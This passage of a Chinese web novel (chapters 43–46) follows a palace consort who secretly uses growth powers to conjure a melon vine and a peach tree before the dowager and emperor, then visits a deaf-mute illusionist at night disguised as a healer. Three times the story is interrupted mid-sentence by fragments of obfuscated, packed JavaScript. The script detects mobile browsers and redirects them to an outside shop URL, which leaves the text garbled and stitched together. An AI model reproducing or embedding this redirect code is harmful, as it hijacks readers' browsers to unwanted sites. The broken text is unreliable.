众人眼睁睁看着他在短短几个呼吸间种出了瓜藤,瓜藤上结出了一颗丰硕的甜瓜。 纷纷被震惊到了。 太后甚至下了榻,走过去亲自摸了摸那根藤上的甜瓜,当发现这颗瓜是真的后,愈发不可思议了。 “这瓜竟是真的,你们快来摸摸。” 众人早就想上手摸一下了,这会儿受到太后的召唤,哪里还顾得上矜持?纷纷走过去,你摸一下,我戳一下,大感惊奇。 一颗瓜都要被摸得包浆了。 姜念虞是第二次看这个幻术,但依然没能窥破其中的奥秘。 但这不妨碍她借此来达到自己的目的。 在众人都对“种瓜”幻术啧啧称奇时,她偏来了一句:“这有什么稀奇的,嫔妾看一眼就学会了,而且还能变得比他更好。” 良妃撇嘴:“妹妹口气真大,你要是真能看一眼就学会,那就当众表演一个?” 言下之意——你行你上呗。 姜念虞等的就是这句话:“那你们可要看好了。” 43. 第43章 向韩观借了一个装满土的陶盆,一颗甜瓜籽,姜念虞当场表演了起来。 她将甜瓜籽种进陶盆里,而后走到太后的洗手盆前,伸手沾了点水,走回来将手指上的水洒进陶盆里。 每洒一下水,口里就念叨一句:“长,长,长——” 当其她人都在关注陶盆里的甜瓜籽是否真能发芽时,韩观注意的却是德妃的手。 作为一名幻术师,他最注重的就是一双手,平时看人也是最先看一个人的手。 他惊讶地发现,德妃娘娘的手,竟与那天晚上送他芍药花的婢女的手,一模一样! 这世上没有两双长得一样的手,如果有,那只能是属于同一个人的。 那天晚上送他芍药花的,竟是德妃娘娘! 德妃为何会扮成婢女去揽月楼? 她身边的那位郎君又是谁? 就在韩观出神思索之际,一道惊呼唤醒了他。 “哎呀!真的长出来了!” 韩观看去,就见一株甜瓜藤蔓水灵灵俏生生地探出陶盆,慢慢舒展开来,美得令人失语。 像是一只破壳而出的雏鸟,又像是一条刚刚被孕育出的小鱼儿…… 那种鲜活而真实的生命力,绝非幻术! 这是一株真正的藤蔓! 韩观心下万分震撼,德妃到底是怎么做到的?她到底是人……还是神? 藤蔓越长越大,在地上蜿蜒开来,直将大半地面都覆盖了,而在那铺展开来的藤蔓间,一朵朵嫩黄色的花朵争先恐后地绽放开来。 随后又很快枯萎,结出了一颗颗甜瓜来。 粗略一数,竟有十几个。 而且个个饱满圆润,散发着一股诱人的清甜香味。 不少人都忍不住咽了咽口水。 若说方才韩观表演的幻术令人震惊,那么此刻德妃表演的幻术,就叫人匪夷所思不敢置信了。 “这,这怕不是幻术,而是仙术吧。” “这瓜看着就甜,咕咚(咽口水)。” “妹妹,方才是姐姐小瞧你了,这便向你赔个不是。” 良妃也是个敢作敢当的性子,见德妃当真将韩观的种瓜幻术给复刻出来了,而且青出于蓝而胜于蓝,立刻便向她道歉。 紧接着又赔笑道:“妹妹,不知这些瓜你打算如何处置啊?” 众人都关心地看了过来,连太后也不例外。 甜瓜不稀奇,但她们从来没吃过这种当场种出来的水灵新鲜的甜瓜! 所以真的很关心这些瓜的“下场”。 姜念虞一笑,“自然是拿来吃了,这里一共有十二个瓜,就由太后来分派吧?” 她很懂事地将分派权交给了太后。 太后很是高兴,吩咐黄鹂:“将这些瓜都好生摘下来,现切一个来,叫大家伙儿都尝尝,咱们也是沾了德妃的光了。” 众人都喜气洋洋地笑开了,谢过德妃,期待着吃甜瓜。 就在瓜切好了端上来时,皇帝来了。 “母后这里好生热闹。” 众人头一次对皇帝的到来如此不欢迎。 瓜是按照她们的人数来切的,每人只得一块,现在皇帝来了,那么势必就要占掉一块,可能还不止,这也就意味着她们中至少有一个人要吃不上瓜了! 这如何不令人郁闷? 太后:“皇帝怎么有空到我这儿来了?” 李淳:“朕听说母后请了宁远侯的孙子进宫来表演幻术,便过来瞧瞧。这地上的瓜藤就是韩观变出来的?” 太后:“德妃看了韩观的种瓜幻术后,当场学会了,表演了一遍。这些瓜藤都是她变出来的,瓜藤上还结出了甜瓜,我叫人切了,皇上可要尝尝?” 李淳从宫人端着的盘子里拿了块瓜,瞧了瞧,“德妃何时有了这个本事?真是叫朕意外啊。” 姜念虞:“嫔妾也是才知道自己有这个本事。” 李淳漫不经心地吃了口瓜,这一嚼,他觉出不同来了,这瓜……好吃得有点不同寻常啊。 是他太久没吃瓜了吗? 不知不觉一块瓜就下了肚,他紧接着又拿了一块。 底下的一众妃嫔:“……” 你住手啊!那是我们的份儿! 可惜李淳无法听到他的妃子们的心声,一连吃了三块才停手。 不是不想继续吃,而是觉得再吃下去就不好看了。 到时候太后还不知道要怎么嚼他,说他跟没吃过瓜似的。 “德妃,你这瓜,是怎么变出来的?” 姜念虞故意卖关子:“要是说出来就不灵了。” 李淳又道:“德妃看过一次种瓜幻术就学会了,那不知别的幻术你可能学会?韩观,你还会些别的幻术吗?施展出来给德妃瞧瞧。” 姜念虞:“皇上,要是嫔妾学会了,您当如何?” 李淳:“那朕就好好地赏你。” 姜念虞追问:“赏什么?” 李淳不满地看了她一眼,哪有追着问赏赐的?满后宫里也只有她敢这么做。 “朕亲自写一幅字赐给你,如何?” 姜念虞:真特么小气!你的字我要来有何用啊?擦屁股都嫌硬。 面上却不得不装作惊喜的样子:“这可是皇上您说的。” “韩观,你还有什么手段,尽管使出来吧。”一副对皇帝的亲笔题字势在必得的样子。 于是韩观又表演了一个名为“钓鱼”的幻术。 他让慈宁宫的宫人准备了一盆水,而后他从自己带来的工具箱里拿出一根鱼竿,将挂了鱼饵的鱼钩放入水盆中。 在众目睽睽之下,他提起鱼竿,鱼钩上赫然挂着一尾鱼,一尾鲜活无比不断扑腾着的活鱼! 众人再一次被震惊。 就连姜念虞也不例外。 甚至忍不住怀疑韩观也有异能了——空间异能,他事先将鱼藏在了他的空间里,然后不知怎么偷偷转移到了盆里。 那盆水可是慈宁宫的人准备的,就是一盆干净清澈一眼望到底的水,根本没有什么鱼。 太后:“这等幻术,实在是出神入化,韩观,你这鱼是从何而来啊?总不可能真的是从盆里钓上来的吧?刚才大家伙儿可都看见了,盆里别说鱼了,连根草都没有。” 李淳:“母后,还是等德妃也表演完,再让韩观揭示这其中的奥秘吧,若不然,德妃岂不是相当于作弊?德妃,这便开始吧。” 姜念虞一脸羞愧道:“皇上,这个幻术太难了,嫔妾没有学会。” 你那个题字,还是你自个儿留着吧。 李淳:“……” 他一时分不清她是故意的还是真的没学会。 正要趁机为难她一下,一个小豆丁跑了进来,口里叫着:“皇祖母,我要吃桃子,我要吃桃!” 正是被淑嫔寄养在太后这里的二皇子李昌。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361180|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太后与李淳没有血缘关系,但与淑嫔是姑侄,所以这满后宫的皇子公主,唯有李昌与她血脉相连,既是她名义上的孙子,也是她的侄外孙。 她对这个小孙子疼爱得不行,一把将跑过来的李昌搂进怀里,满口应道:“好,吃桃子,黄鹂,快去拿桃子来。” 黄鹂面露难色:“太后,如今才刚入夏,桃子还没上市呢。” 太后也想起来了,“我的乖孙哎,你怎么想起来吃桃子了?这会儿桃子都还没长出来呢。咱过一阵再吃,啊。” 李昌哪里肯依?在太后怀里撒娇打滚:“我不嘛,皇祖母,我就要吃桃子。” 见状,姜念虞暗自一笑,看来她的主意奏效了。 早上她送晟儿去上学时,往他书包里塞了两个拳头大的水灵灵的桃子——她偷偷用异能催生出来的,让他带去学堂吃,还可以跟玩得好的小伙伴分享。 晟儿在课间就将桃子拿出来,和玩得好的六公主一起分享了桃子。 李昌在旁边看见了,就馋了,但他又不好意思开口要,硬是捱到了中午放学,跑回来向太后撒娇,要吃桃。 太后被小孙子闹得没法子,这会子她到哪里去弄来桃子给他吃呢? 看见韩观,忽然有了个主意:“韩观,你既然能种出瓜来,定然也能种出桃来吧?若是你能种出来,哀家重重有赏。” 韩观跪地请罪:“太后恕罪,草民不会种桃幻术。” 太后听了随从的翻译,一阵失望。 姜念虞适时站出来,“太后,让嫔妾来试试吧。” 太后:“哦对,你也学会了种瓜幻术,那你便试试吧。” 只不过心里并未抱太大希望。 连韩观这个种瓜幻术的创始人都无法施展种桃幻术,德妃一个初学者,又怎能掌握呢? 姜念虞:“还请太后、皇上和诸位姐姐随嫔妾移步后花园。” 李淳:“德妃,你葫芦里到底卖的什么药?” 姜念虞:“皇上急什么,待会儿您就知道了。” 到了后花园,姜念虞又命四名宫人将锦缎高举过头顶,形成一道帷幕,将前后左右都围挡起来,她则进入帷幕之中,往土里埋下了一颗桃核。 她没急着催生,而是先从荷包里拿了果脯出来吃,补充一下体力。 “怎么这半天过去了,里头什么动静也没有呢?” “方才德妃施展种瓜幻术,可是一下子就成了,这一回怎么半晌都不见桃子?” “德妃真的能行吗?莫不是在虚张声势,故布疑阵?” 就在众人等得焦躁不耐,议论纷纷时,帷幕之中传来德妃的声音:“好了,把帷幕撤了吧。” 四名宫人撤去帷幕,走到一旁。 众人定睛一看,发出了惊呼:“成了!德妃成了!” 只见姜念虞脚边,赫然生出了一株桃树幼苗,她两手虚拢着树苗,口里念着:“长,长,长——” 树苗便听话地节节攀升,茁壮成长,以肉眼可见的速度长到了一人来高,与她齐平。 但这还没完,桃树继续向上,树干变得越来越粗,枝叶变得越来越繁茂。 “接下来,诸位看好了,可千万别眨眼哦!”姜念虞冲众人扬起一抹笑容,轻轻拍了拍桃树的枝干。 刹那间,满树繁花绽放,粉嫩的桃花占满了枝头,如云似雾,云蒸霞蔚,美得如一场粉色的绮梦,令人一瞬间又回到了春天。 44. 第44章 众人无不被这一幕惊艳,失了神,丢了魂,一个字也说不出来,只能呆呆地望着。 然而这一幕极美,却也极短暂,如烟花般易逝,等众人回过神来时,满树的桃花已然不复存在了,取而代之的是一个个小青桃。 没过多久,那些青涩的小桃子纷纷长大了,成熟了,变得足有成人拳头那般大,外皮金黄,散发着香甜的气息,光是看着便让人口舌生津。 树上结出来的桃子太多,将枝桠都压得弯了下来,姜念虞一抬手,就轻松摘下来了一个桃子,上前呈给太后。 “太后,嫔妾不负所望,将这种桃幻术施展出来了,您尝尝这桃子。” 看着递到面前的桃子,太后犹不敢信,不过到底还是接了过来。 却一时没敢吃。 “这桃子怎么是扁的,和寻常的桃子不一样?” 姜念虞笑道:“因为这是嫔妾从王母娘娘的蟠桃园里偷来的蟠桃,吃了可以延年益寿、美容养颜。” 太后扑哧一笑,被她这说法逗乐了。 “好,我来尝尝这天上的蟠桃是个什么滋味儿。” 在众人的注目下,太后咬了一口,缓慢咀嚼着。 然后一口接着一口。 良妃急了,“太后,您别光顾着吃呀,倒是给咱们说说,这蟠桃到底是个什么滋味儿?” 太后喟叹一声:“不愧是仙果,我活了大半辈子,头一次知道,桃子还能如此美味。” 这话一出,愈发勾得众人心痒难耐,馋虫大发了。 竟能令太后说出“仙果”二字,那桃子该是多么好吃啊。 李昌抓着太后的衣摆蹦跶着:“皇祖母,孙儿也想吃桃子。” 太后:“好,皇祖母这就来给你摘。” 走到树下,亲自摘了个桃子递给孙子。 李昌刚要咬下去,桃子忽然被夺走了。 而夺走他桃子的人,是父皇。 李淳一把将桃子砸到地上,桃子被砸得四分五裂,汁水四溅,“德妃,你这到底是幻术还是妖术?!朕不信幻术能做到如此地步。 “母后,莫要被德妃给骗了!朕看她才是龟背谶语所说的妖孽!” 他越想越觉得是这样。 妖孽化形、窃居紫薇,不一定说的是现在啊,有可能是以后! 而那个妖孽,此刻就蛰伏在他身边,时刻想着窃夺他的帝位,祸乱他的天下! 那个妖孽,就是德妃! 姜念虞捏紧了手指,有些忐忑。 今日这一出,她的确有些冒险了,本想借着幻术糊弄过去,哪知道李淳这货跑了过来。 现在,就看太后怎么决断了。 “好好的桃就这么糟蹋了,真是可惜,昌儿,皇祖母再给你摘一个。” 太后没理会皇帝对德妃的指控,只想赶紧让心爱的小孙子吃上桃子。 方才桃子被夺走摔到地上碎裂开来,小孙子的表情也跟着碎了,她这个祖母看着也心碎了。 皇帝真不是个东西,就算要对付德妃,也不该在孩子面前摆他的皇帝威风。 李淳脸色铁青,姜念虞则吁了口气,太后这般,无疑是将李淳的控诉打了回去,维护了她。 “来,你们也都来尝尝德妃从天上偷来的仙果蟠桃。” 太后招呼众人。 刚才没能吃到瓜的妃嫔们纷纷上前,吃起了桃子。 甭管这桃子是幻术还是妖术变出来的,总归这桃子不是假的吧?先吃到肚子里再说。 这么美味的仙果,她们要是错过了,以后可不一定吃得到了。 众人都分到了桃子,韩观也得了一颗。 唯独身为皇帝的李淳被有意无意地漏下了,站在一旁冷眼看着众人高兴地吃桃,表情有些扭曲。 “韩观,随朕来。”李淳甩袖而去,将韩观也带走了。 姜念虞遗憾地看了眼韩观,又没能找到机会跟他贴贴。 好在今天也不是全无收获,起码她光明正大地吃上自己种出来的桃子了。 这棵蟠桃树种在太后宫里,李淳敢把它砍了吗? 不敢。 所以以后她可以每年都来太后这里蹭桃子吃啦。 李淳将韩观带回了保和殿,质问他:“韩观,依你看,德妃所施展的种桃之术,到底是幻术还是妖术?” 墨春朝韩观打手语。 韩观这回没有回以手语,而是在纸上书写:“幻术。” 李淳:“世间当真有如此神妙的幻术?能在片刻间将一颗桃核变成一棵结满果实的桃树?” 韩观:“所谓幻术,便是催眠术,以高超的技巧催眠人的耳目,混淆人的视听,让人如置身幻梦之中,分不清现实和幻境。 “在草民看来,德妃娘娘先是令我等陷入了幻境,而后又以移花接木的手段弄来了一棵真桃树,真真假假,假假真真,令人看不出破绽。” 对于韩观这个真幻术师的实力,李淳还是比较信服的,看了他的这番解释,不由信了几分。 难道真的是他多疑了? 也是,这世间哪有什么妖孽呢? 姜念虞拎着一篮子蟠桃回了未央宫,分了些给身边亲近的宫人,又留了两个给晟儿,剩下的她一口气吃了个痛快。 结果吃桃一时爽,吃多了就闹起了肚子。 一连跑了好几趟净房。 夏桃好气又好笑:“我的娘娘哎,早就让您悠着点了,桃子不可多食,您偏不听,这下好了,难受的是您自个儿吧。” 春樱没有多说什么,径自去了一趟膳房,熬了一锅下火理气的汤来,姜念虞喝过后就觉得好多了。 晚上晟儿下学回来,饭桌上姜念虞向他打听:“今天有裴夫子的课吗?” 晟儿:“有呀。” 姜念虞不免遗憾,又错过了跟裴少清偶遇的机会。 接触不到新的异能血包,她的异能何时才能升级? 等晟儿睡下后,姜念虞将林鹤叫了来,让他给自己按摩。 白天她先后催生了甜瓜和桃树,异能基本已经消耗一空,得补充回来才行。 补充完异能,姜念虞将手贴在林鹤腹部,给他疗伤。 “感觉如何?有没有恢复一点?” 想到她口中的“恢复”指的是什么地方,林鹤的耳朵就红了,没好意思正面回答,只道:“多谢娘娘,如果您没什么事的话,卑职就告退了。” 他不说,姜念虞也不能勉强,摆摆手:“去吧。哦对了,这个桃子你拿着。” 她将私藏下来的一个桃子递给他。 下午拉肚子的经历告诉她,再好吃的东西也不能多吃,不然受罪的是自个儿,所以这个桃子,还是给出去吧。 关于“王母蟠桃”的事林鹤也听说过,知道这桃子十分珍贵,连皇上都没能分到一个,他如何能收? 待要推辞,娘娘却不由分说将桃子塞了过来,“去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368738|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,我要睡了。” 他只好珍重地收下这颗桃子,道谢离去。 深夜。 原本睡得正香的姜念虞忽然察觉床头似乎有个人,惊醒过来,发现床边真的有一道黑影。 她的手立即伸到了枕头底下,想摸出匕首来防身。 匕首还是刚穿来时李淳赐死她的那一把,精致且锋利,吹毛断发。 然而没等她把匕首刺出去,床边的人说话了:“姐姐,是我。” 李玄璋! 姜念虞松了口气,没好气道:“你大晚上的不睡觉,跑来我床边杵着干嘛?装鬼吓人啊。” 李玄璋在床边坐了下来,侧脸对着她,“听说今日姐姐在慈宁宫,大出了一回风头。” 姜念虞:“嗯,没错,李淳那个狗东西不是不想在宫里看见桃树吗?不是砍了咱们的桃树不让咱们吃到桃子吗?我偏不如他的愿,偏要在宫里种下桃树,偏要吃桃子,气死他。” 她口中的“咱们”,大大取悦了李玄璋,再开口时语气都阳光了些:“姐姐真厉害,竟然能当着那么多人的面凭空变出一棵桃树来。” 姜念虞打着哈哈:“其实也还好啦。” 李玄璋:“姐姐能告诉我,你是如何做到的吗?” 见他追根问底,姜念虞只好道:“其实幻术就是催眠术,利用一些特殊的手段,再结合一些真实的道具,营造出一种似真似幻的场景,迷惑人的耳目,混淆人的视听。 “总而言之,我并没有那个本事真的变出一棵桃树来,那棵桃树是我事先准备好的。” 李玄璋也不知是信了还是没信,好歹没再继续追问了。 “姐姐从慈宁宫提回来了一篮桃子,分给了宫中上下诸人,还给林鹤留了一个——” 姜念虞心中警铃大作:“你怎么知道我给林鹤留了桃子?” 当时现场可只有她们两人。 难道李玄璋派人监视她了? 李玄璋:“丽嫔说,林鹤分了她半个。” 姜念虞松了口气,旋即忽然意识到,他问起桃子,不会是因为她没给他留吧? 她赶紧从床头暗柜里拿出珍藏的最后一个桃子,“喏,我也给你留了的,本来打算亲自送给你的,但是既然你来了,那就当面给你吧。” 李玄璋接过桃子,咬了一口。 姜念虞咽了下口水,“怎么样?好吃吧?” 李玄璋:“嗯,甜如蜜,软糯可口,味道确实极好。” 姜念虞的眼睛此刻已经适应了黑暗,能清晰看见他吃桃子的动作,一阵后悔,她怎么就把最后一个桃子给出去了呢? 为了防止自己上手抢,她索性移开视线,“蓁蓁,我想出宫见韩观一面,你有办法吗?” 李玄璋吞下最后一口桃子,拿出帕子仔细擦了擦手指,一时间没有说话。 姜念虞被这阵突如其来的沉默搞得有点忐忑,琢磨着他如果问起来自己为何要见韩观,自己该怎么回答。 又担心他不愿帮自己。 好在他最后还是开口了:“宁远侯找回孙子后,便请了太医来为他诊治,但太医也对韩观的聋哑之症束手无策。 “宁远侯只好广发悬赏令,召集天下名医来为韩观诊治聋哑之症,姐姐若想见到韩观而不引人注目,可以扮作大夫前去。” 姜念虞:“择日不如撞日,我们今晚就去吧?” 李玄璋没想到她这么急,顿了顿,还是道:“好。” 45. 第45章 深夜清寂的街头,更夫敲着梆子走过。 此时已经是二更天(21点-23点)了。 街上基本没什么人。 这时,一辆普通的马车哒哒驶过,停在了宁远侯府门前。 车夫下车,叩响了侯府大门上的铜环,守夜的门房打着哈欠来开门,“谁啊,大晚上的。” 车夫举起一张宁远侯府张贴的名医悬赏令,“神农谷弟子前来应召。” 宁远侯今晚歇在书房,躺下后想着孙儿阿幻的聋哑之症,翻来覆去地睡不着。 忽听得房门被敲响,管家的声音响起:“侯爷,神农谷的弟子拿着悬赏令来应召了。” 宁远侯翻身而起,“当真?” 管家:“千真万确,那位姑娘给我看了她的弟子令牌。” 宁远侯:“姑娘?” 管家:“不错,这位神农谷弟子是一位小娘子。” “贵客登门,老夫有失远迎,还望姑娘莫要怪罪。”宁远侯来到前厅,对着坐在椅子上的那位姑娘抱拳拱手。 在她身后站着一位腰间佩剑的青衣少年,想来是她的随从了。 据说每一位神农谷弟子都有一名剑侍,剑侍武功高强,随行护卫,看来所言不虚。 扮成神农谷弟子的姜念虞面不改色地站起身,也抱拳回了一礼:“侯爷说哪里话,是我深夜上门,叨扰了才对。对了,我叫余岁,‘茶余饭后’的‘余’,‘长命百岁’的‘岁’,侯爷怎么称呼?” 宁远侯愣了下,这还是头一次有女子,还是年轻女子这么直白地问他姓名,不过想到眼前这位姑娘出自神农谷,想来刚出世不久,对于人情世故还不太懂,又觉得很正常了。 “老夫韩渊,虚长姑娘几十岁,姑娘若不嫌弃的话,可唤老夫一声‘伯伯’。” 姜念虞从善如流:“韩伯伯,你孙儿呢?把他叫来吧,我这就为他看诊。” 韩渊没想到她这么急,不过她这样也是出于一片医者仁心,心下对她好感大生,“余姑娘,现在这么晚了,不妨先在蔽府歇息一晚,明日再看诊,如何?” 姜念虞哪能等到明日?她得趁着今晚速战速决,不然下次出来还不知道得等到什么时候。 “无妨,早治早了,韩伯伯也不想让你的孙儿多受一日罪吧?” 她话都已经说到这个份儿上了,宁远侯还能说什么呢?再推辞就是不知好歹了。 “好,我这就让人将我那孙儿叫来。” 不一时,韩观随管家来到了前厅,宁远侯朝他招手:“阿幻,快来见过余岁余姑娘,她乃是神农谷的弟子,医术十分高明,你的病有救了。” 韩观朝“余岁”拱手行礼,躬身时,眼睛下意识看向了她的手。 当那双熟悉的手映入眼帘时,他睫毛一颤,是她!宫里那位德妃娘娘! 先前她扮作婢女送了他花,如今又成了神农谷弟子,深夜上门来为他治病,她到底有多少重身份?又到底想做什么? 虽然心下疑虑重重,但想到那朵在她手里绽放的粉色芍药花,他便不觉得她对自己是带有恶意的,也就没有拆穿她。 姜念虞朝椅子一指:“坐吧。” 从扮成她剑侍的李玄璋那里拿过药箱,打开来,拿出一只脉枕,放在高几上,示意韩观将手腕搁在脉枕上。 而后似模似样地给他摸脉。 手触到他的那一刻,她识海里的异能源种就光芒大放,如一颗璀璨的绿色星球,在她无垠幽暗的识海里彰显着强烈的存在感。 为了让异能多增长一点,她摸脉摸了半晌,眉头一会儿皱起,一会儿松开,似乎遇到了什么令她极其为难的事。 宁远侯见状,一颗心高高悬了起来,想问,又怕打扰了她诊脉,只得艰难地忍着。 韩观却是一眼就看穿了她在演戏,不免有些忍俊不禁,嘴角不受控制地扬了扬。 “换这只手试试。”姜念虞一心扮演神医,没注意到他细微的表情变化,站在她身后的李玄璋却是看得分明。 韩观怎么突然发笑?还是对着姜念虞笑,难道他发现了什么? 给韩观另一只手也摸了脉后,姜念虞收回手,淡淡吐出两字:“可治。” 没再说别的。 毕竟她对医术一窍不通,怕多说多错。 然而她简简单单的两个字落入宁远侯耳里,却是为她神秘的神医身份再增添了一层光彩。 不愧是出自神农谷的神医! 阿幻从娘胎里带来的聋哑之症,连一众太医都束手无策,她却这么云淡风轻地说可以治! 不过到底还没有开始治疗,能否治好也是个未知数,宁远侯不敢表现得过于高兴,免得乐极生悲,压抑着激动道:“余姑娘需要什么,尽管告诉老夫,老夫定为你寻来。” 姜念虞:“倒也不需要特意准备什么,只需要准备一间安静的屋子就行,我这便来为病人治疗。” 知道她是个雷厉风行的性子,宁远侯这回没多说什么,直接让管家去准备屋子。 “除了我的剑侍,其余人都出去。” “病房”内,姜念虞不容置喙地下令。 宁远侯拍了拍孙儿的肩膀,既是安抚,又是提醒——他给孙儿准备了一只哨子,那只哨子就挂在孙儿脖子上,这样一来,他有什么事吹一下哨子就行了。 “阿幻,祖父出去了,你乖乖听余姑娘的话。” 当宁远侯和管家、婢女都退出去后,姜念虞朝躺椅一指,对韩观道:“躺上去。” 韩观乖乖躺了上去。 姜念虞:“闭上眼睛。” 韩观乖乖闭上眼睛。 看着躺在面前的异能血包,姜念虞心头一阵激动,她的异能马上就能升级了! 然而就在她的手即将触碰到韩观时,一个人忽然闯了进来:“慢着!” 姜念虞不满地看去,来人是一个中年男子,留着一缕长须,神情颇为傲慢。 “你是谁?闯进来做什么?”她不客气地问。 “哼,你这女子好生无礼,侯爷,她并非神农谷弟子,你莫要被她给骗了。” 宁远侯为难地看了姜念虞一眼,“余姑娘见谅,这位乃是来自丰州的名医刘泉,行事有些不拘小节,我这就带他出去。” 刘泉却避开了他的手,“侯爷,我乃是神农谷的外门管事,对神农谷的弟子情况一清二楚,谷内只有五名亲传弟子,三十二位内门弟子,总计三十七位弟子,其中可没有一个叫余岁的。 “她冒充神农谷弟子深夜上门,还不知打的什么主意,侯爷怎么敢将好不容易找回的孙儿交给她治疗?” 宁远侯一听,也不由得迟疑起来,“神农谷当真没有一个叫余岁的弟子?” 刘泉:“这种事我岂会蒙骗侯爷?” 姜念虞亮出自己的“弟子”令牌,“刘泉,睁大你的眼睛好好看看,这是什么?” 刘泉定睛一看,她拿出来的令牌上,赫然镌刻着“神农谷”三个字,难道,她当真是神农谷弟子? 但他并不愿意承认自己的错误,“焉知你这令牌不是仿造的?” 宁远侯也不禁想,若余岁是冒充的神农谷弟子,那她手中的令牌自然是假的。 偏她们这些外人对神农谷的事情不了解,这令牌无从判断真假。 事情一时陷入了僵局。 就在这时,李玄璋上前两步,抬手射出一把青铜小剑,小剑擦着刘泉的头皮飞了过去,又像回旋镖似的转个弯,再次擦着刘泉的头皮飞了回来,稳稳落在他手上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388015|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘泉又惊又怒,伸手摸了摸发凉的天灵盖,摸到了一撮被削落的头发。 “你!” 待要怒斥,看见李玄璋手里的那把青铜小剑上时,又突然顿住了。 “这是?” 李玄璋:“身为外门管事,竟认不出谷内剑令?” 刘泉一惊,忙上前道:“可否让我仔细看看?” 李玄璋将剑令丢过去。 刘泉忙伸手接住,剑令甫一入手,他心里就咯噔一下,待嗅到剑令上那股独特的香味时,他便确认,这剑令的确是真的。 ——每一把剑令,都用谷内泡制的独特药汁浸泡过,那药汁一旦沾染,便很难去除,于是嗅闻气味便成为甄别剑令的一种手段。 因为这药汁,是神农谷的独家配方,别的地方都不存在。 既然剑令是真的,那眼前的女子的确是神农谷弟子了,而且绝非一般弟子! 刘泉朝着姜念虞拜倒下去,双手高举过头顶,托着剑令:“外门管事刘泉,见过师姐。” 姜念虞:“?” 刚才这刘泉还一副怀疑她的样子,怎么这剑令一出,他就态度大变了? 这剑令到底是什么东西? 虽然不清楚状况,但不妨碍她装逼,她收回剑令,淡淡道:“起来吧。” 刘泉松了口气,幸好小师姐没跟他计较,不然他恐怕要被神农谷除名了。 宁远侯也被刘泉弄得有些懵,“刘大夫,这剑令是何物?” 刘泉看了小师姐一眼,见她没有阻止,便给宁远侯解释起来:“剑令乃是神农谷亲传弟子的凭证,行走在外时,可凭借剑令指使各方弟子和管事,让他们办事。” 宁远侯恍然点头:“原来如此。” 有刘泉的背书,他心头的最后一丝疑虑也去了。 李玄璋看了宁远侯一眼,若是没有宁远侯的放任,刘泉怎么可能闯得进来?分明是宁远侯自己也心存疑虑,所以才顺势将刘泉放进来,让他代自己提出质疑。 当真是人老成精。 宁远侯被他看得心头一跳,这名剑侍瞧着年纪不大,一双眼睛却利得很,仿佛看穿了自己的心思一般。 他掩饰般笑了笑,对刘泉道:“刘大夫,今晚月色颇好,老夫新近得了一壶好酒,不如我们移步亭中,赏月对酌,可好?” 刘泉自是欣然应下,又朝小师姐拱了拱手,退了出去。 宁远侯和刘泉来到亭中,喝酒赏月。 一杯酒下肚,刘泉迟疑着道:“侯爷,其实方才在下有句话没说。” 宁远侯:“什么话?在老夫面前,刘大夫只管畅所欲言便是。” 刘泉:“外人不知神农谷的底细,我却是一清二楚的,谷主一共只收了五位亲传弟子,即便是最小的那一位,也已是耳顺之年了,如今怎么又冒出来一位亲传弟子呢?还是个年纪轻轻的女子。” 宁远侯:“你怀疑她并非亲传弟子?那她手中的剑令又是从何而来?” 刘泉:“这就是令我不解之处了,只是她既然拿得出剑令,我便不好再当面质疑了。” 宁远侯:“或许她的师父是五位亲传弟子之一,她师父怕她行走在外出事,便将剑令给了她傍身?” 刘泉点了点头:“侯爷说的不无道理,再要么,就是在我不知情的情况下,谷主又收了一位亲传弟子。若果真如此的话,神农谷怕是要发生不小的动荡了。” 谷中五位亲传弟子都已有了各自的势力,互成犄角,都盯着谷主的位置,这忽然又来了一位亲传弟子,还极有可能是谷主的关门弟子,谷中的势力不就发生变化了? 若谷主将来仙去后,将谷主的位置留给了屋中的那位余姑娘…… 看来他得提早做准备了。 46. 第46章 屋内,“闲杂”人等都没了,姜念虞终于能够专心“施诊”了。 她将手放在韩观脸上,给他做起了眼保健操。 是的,眼保健操。 她一边给他按摩,一边将异能一点点输入他体内。 李玄璋看着她的手在韩观脸上移动,目光霎时变得幽暗,她出宫见韩观,就是为了这般和他亲密接触吗? “姐姐,你这是在?” 姜念虞一本正经地胡编乱造:“这是我研究出来的一套特殊的按摩手法,可疏通经络,活血化瘀,韩观的聋哑之症,说白了就是体内经脉不通,被堵住了,等疏通之后,他自然能够听见声音、开口说话了。” 李玄璋不置可否,“姐姐竟然还精通岐黄之术,那下次也帮我按一下?” 姜念虞巴不得,“好啊。” 韩观闭着眼睛,对于两人的对话毫无察觉。 他只觉随着“余岁”的按摩,一股清凉的气息进入了体内,在他的眼耳口鼻各处流转,那股气息令他感到分外舒适安逸,不知不觉竟睡了过去,呼吸变得平稳下来。 